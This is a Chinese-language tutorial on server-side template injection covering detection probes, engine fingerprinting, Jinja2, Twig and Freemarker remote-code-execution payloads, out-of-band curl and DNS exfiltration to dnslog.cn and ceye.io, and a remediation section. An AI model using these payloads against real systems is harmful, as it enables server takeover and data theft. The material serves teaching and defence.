1. 什么是 SSTI
SSTI(Server-Side Template Injection,服务端模板注入)指用户输入被当作模板代码交给模板引擎解析执行的漏洞。
正常开发中,模板引擎负责把「模板 + 数据」渲染成页面。问题出在错误的写法上:开发者把用户输入直接拼接进模板字符串,而不是作为数据传入。模板引擎一视同仁地解析 {{ }}、${ }、<%= %> 等表达式,用户输入里的表达式就被当成了代码。
正常流程 漏洞流程
┌───────────────┐ ┌───────────────┐
│ 模板: Hello {{ name }} │ │ 模板: Hello {{ name }} │
│ 数据: name="小明" │ │ 数据: name="{{7*7}}" │
└───────┬───────┘ └───────┬───────┘
▼ ▼
模板引擎解析 {{ name }} 模板引擎解析 {{ name }}
│ │ → 替换成 {{7*7}}
▼ ▼
Hello 小明 Hello {{7*7}} → 再次被解析 → Hello 49
关键点:只要用户输入最终进入了 Template() / render_template_string() / createTemplate() 这类”动态模板”接口,就存在注入面。
常见的危险写法:
| 语言/框架 | 危险代码 |
|---|---|
| Python / Flask | render_template_string('<h1>Hello ' + name + '</h1>') |
| Python / Jinja2 | jinja2.Template(user_input).render(...) |
| PHP / Twig | $twig->createTemplate($user_input) |
| Java / Freemarker | new Template("t", new StringReader(input), cfg) |
| Java / Velocity | velocity.evaluate(ctx, writer, "log", input) |
| Ruby / ERB | ERB.new(user_input).result |
2. 检测:多引擎探测载荷
SSTI 的第一道门槛是找到输入点——凡是输入内容会原样出现在响应里的位置(搜索框、用户名、邮件模板、报错页、导出文件名等)都值得测。然后用通用算术探测串挨个试:
{{7*7}} # Jinja2 / Twig / Nunjucks / Tera 等
${7*7} # Freemarker / JSP EL / Velocity
<%= 7*7 %> # ERB (Ruby) / JSP
{7*7} # Smarty (PHP)
#{7*7} # Ruby / Slim 等
${{<%[%'"}}%\ # 通用 polyglot,让多种引擎报错或原样回显,用于快速判断
如果页面输出 49,说明表达式被服务端执行了,基本可确认 SSTI。接着要判断具体是哪个引擎——不同引擎的利用链完全不同。
┌─ {{7*7}} → 49
│ ├─ {{7*'7'}} → 7777777 ──► Jinja2 (Python)
│ ├─ {{7*'7'}} → 49 ──► Twig (PHP) / Nunjucks (JS)
│ ├─ {{config}} 能输出配置 ──► Flask + Jinja2
│ └─ {{_self.env}} 可用 ──► Twig 1.x
│
用户输入 ── fuzz ──┼─ ${7*7} → 49 (Java 系)
│ ├─ ${7*'7'} → 49 ──► JSP EL
│ └─ ${7*'7'} → 报错 ──► Freemarker
│
├─ <%= 7*7 %> → 49 ──► ERB (Ruby) / JSP
│
└─ 所有探测串都无回显
└─► 盲 SSTI:时间盲注 / OOB 探测(见第 5 节)
几个判断细节:
{{7*7}}得到49基本排除 Django 原生模板——Django 模板不支持算术运算,会原样输出7*7。- Jinja2 里
7 * '7'是 Python 语义(字符串重复),得到7777777;Twig 会把字符串转成数字,得到49。这是区分两大主流引擎的关键测试。 - 报错信息是最好的指纹:
jinja2.exceptions.UndefinedError、Twig\Error\RuntimeError、FreeMarker template error直接暴露引擎。 - 辅助判断:响应头、Cookie、报错堆栈里的框架名(Flask/Symfony/Spring),或直接看技术栈指纹。
3. Jinja2 利用
确认是 Jinja2(常见于 Flask)后,目标是拿到 Python 对象 → 全局作用域 → RCE。核心思路:Python 一切皆对象,从任意对象出发,沿 __class__ → __mro__ → __subclasses__ 爬到 object 基类,再遍历所有已加载类,找到能执行命令的类(subprocess.Popen 等)。
3.1 信息收集:读配置
{{config}}
Flask 下这条直接输出应用配置(含 SECRET_KEY)。利用 config 所在模块已导入 os 的事实,可以一步直达命令执行:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
3.2 经典链:class → mro → subclasses
{{''.__class__.__mro__}}
{# 输出: (<class 'str'>, <class 'object'>),Python 3 下 object 索引是 1 #}
{{''.__class__.__mro__[1].__subclasses__()}}
{# 输出所有已加载类的列表,找到 subprocess.Popen 的下标(环境不同下标不同) #}
假设 Popen 下标是 431,直接调用:
{{''.__class__.__mro__[1].__subclasses__()[431]('id', shell=True, stdout=-1).communicate()}}
Python 2 下 str.__mro__ 多一层,要用 [2];也可以统一用 [].__class__.__base__.__subclasses__()(list 的基类直接是 object)。
下标会随环境漂移,更稳的做法是遍历查找:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}
{{ c('id', shell=True, stdout=-1).communicate() }}
{% endif %}
{% endfor %}
没有 Popen 时,退而求其次找 warnings.catch_warnings(几乎必然存在),从它的 __init__.__globals__ 里拿 __builtins__:
{{''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
3.3 短链捷径
Jinja2 自带一些全局对象,它们的模块作用域里躺着 os,可以少爬几层:
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}
4. Twig 利用
Twig(PHP)的利用核心是拿到环境对象 env,然后注册任意 filter 回调为危险函数。_self 是模板内的特殊变量,Twig 1.x 中可以通过它触达 env:
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}
registerUndefinedFilterCallback('exec') 注册一个”未定义过滤器处理器”,之后任何未定义过滤器名都会被当成 exec() 执行。所以第二行 getFilter('id') 实际执行了 exec('id')。
Twig 2.x 移除了对 _self.env 的暴露,但引入了能接收回调参数的过滤器(filter / map / sort),直接把系统函数当回调传进去即可:
{{['id']|filter('system')}}
{{['id']|map('system')}}
{{['id',0]|sort('system')}}
这三条都会执行 system('id')。若被沙箱拦截,思路是找沙箱未禁用的过滤器 + 能触达危险对象的内置变量:
{{app.request.query.all()}}(Symfony 下app全局暴露请求对象)- 尝试
{{_self.env.getFilter(...)}}等能返回内部对象的调用链 - 利用
|format、|replace等过滤器拼接/间接调用(经典绕过思路:filter 回调不校验函数名)
沙箱的意义是”白名单 + 禁用危险过滤器”,但只要 env 或任意内部对象可达,绕过就只是时间问题——这也是修复不能只靠沙箱的原因。
5. 无回显场景:OOB 探测
页面不回显表达式结果(渲染后为空、被过滤、纯盲注)时,用 DNS/HTTP 外带把执行结果带出来。
5.1 准备接收端
常用的 OOB 平台:dnslog.cn、ceye.io、interactsh(projectdiscovery 开源),或自建 dig + nslookup 监控。以 dnslog.cn 为例,先取一个子域 xxxx.dnslog.cn。
5.2 探测 payload
{# Jinja2:执行 curl 请求,让目标服务器主动访问我们的域名 #}
{{config.__class__.__init__.__globals__['os'].popen('curl http://xxxx.dnslog.cn/flag').read()}}
{# 无 curl 时用 Python #}
{{config.__class__.__init__.__globals__['os'].popen('python3 -c "import socket;socket.getaddrinfo(\'flag.xxxx.dnslog.cn\',80)"').read()}}
{# Twig #}
{{['curl http://xxxx.dnslog.cn/flag']|filter('system')}}
# Freemarker
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://xxxx.dnslog.cn/flag")}
5.3 判断与提效
- 平台后台出现
flag.xxxx.dnslog.cn的 DNS 解析记录 → 确认命令执行。 - 优先用 HTTP(curl)而不是纯 DNS:有些环境只放行 HTTP 出站、或 DNS 走内网解析,curl 命中率更高。
- 想带出命令结果,用
curl http://xxxx.ceye.io/$(whoami)(注意 URL 编码)或先 base64:curl http://xxxx.dnslog.cn/$(echo whoami|base64)。 - 没有 OOB 平台时,退而求其次做时间盲注:
{{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}},对比响应耗时,能确认注入存在但拿不到输出。
6. 修复
SSTI 的根因是「模板字符串与数据分离」这个原则被破坏,修复也要从这条主线出发:
1. 模板与数据分离(最根本)
# 错误:用户输入进模板字符串
render_template_string('<h1>Hello ' + name + '</h1>')
# 正确:用户输入只作为数据传入
render_template('hello.html', name=name)
永远不要出现 Template(用户可控字符串) 这类动态模板接口。
2. 开启自动转义
- Jinja2/Flask:
.html模板默认 autoescape,自定义渲染时显式开启autoescape=True;对不可信输出加|e,严禁滥用|safe。 - Twig:开启
autoescape({% autoescape 'html' %})。
3. 沙箱兜底(提高门槛,非银弹)
from jinja2 import Environment, SandboxedEnvironment
env = SandboxedEnvironment() # 替代默认 Environment
Jinja2 SandboxedEnvironment 和 Twig sandbox 扩展能拦掉大部分 __class__ 链,但历史上多次出现绕过(通过 attr 过滤器、间接 __globals__ 访问等),所以沙箱只能作为纵深防御的一层。
4. 运行环境最小权限
- 应用进程用低权限用户跑,禁 root/www-data 直接执行。
- PHP 环境
disable_functions = exec,system,passthru,shell_exec,popen,proc_open(配合 open_basedir)。 - 容器只读文件系统、去掉
capabilities,限制出站网络(防 OOB 外带)。
5. 输入校验与依赖维护
- 对模板类参数(模板名、渲染开关)做白名单校验。
- 及时升级模板引擎版本,跟进公开 CVE(Jinja2/Twig/Freemarker 都出过 RCE 与沙箱绕过漏洞)。
6. WAF 是补充不是修复
拦截 {{、${、<% 等特征能挡掉脚本小子,但绕 WAF 的成本很低(编码、拆分、注释符),且 WAF 规则误伤正常业务(比如邮件模板功能本身就合法使用 {{ }})。SSTI 必须从代码层根治。
参考
- PortSwigger Research: Server-Side Template Injection(James Kettle,2015,SSTI 概念的奠基文章)
- PortSwigger Web Security Academy: Server-side template injection 系列实验室
- PayloadsAllTheThings: Server Side Template Injection 分类(各引擎 payload 大全)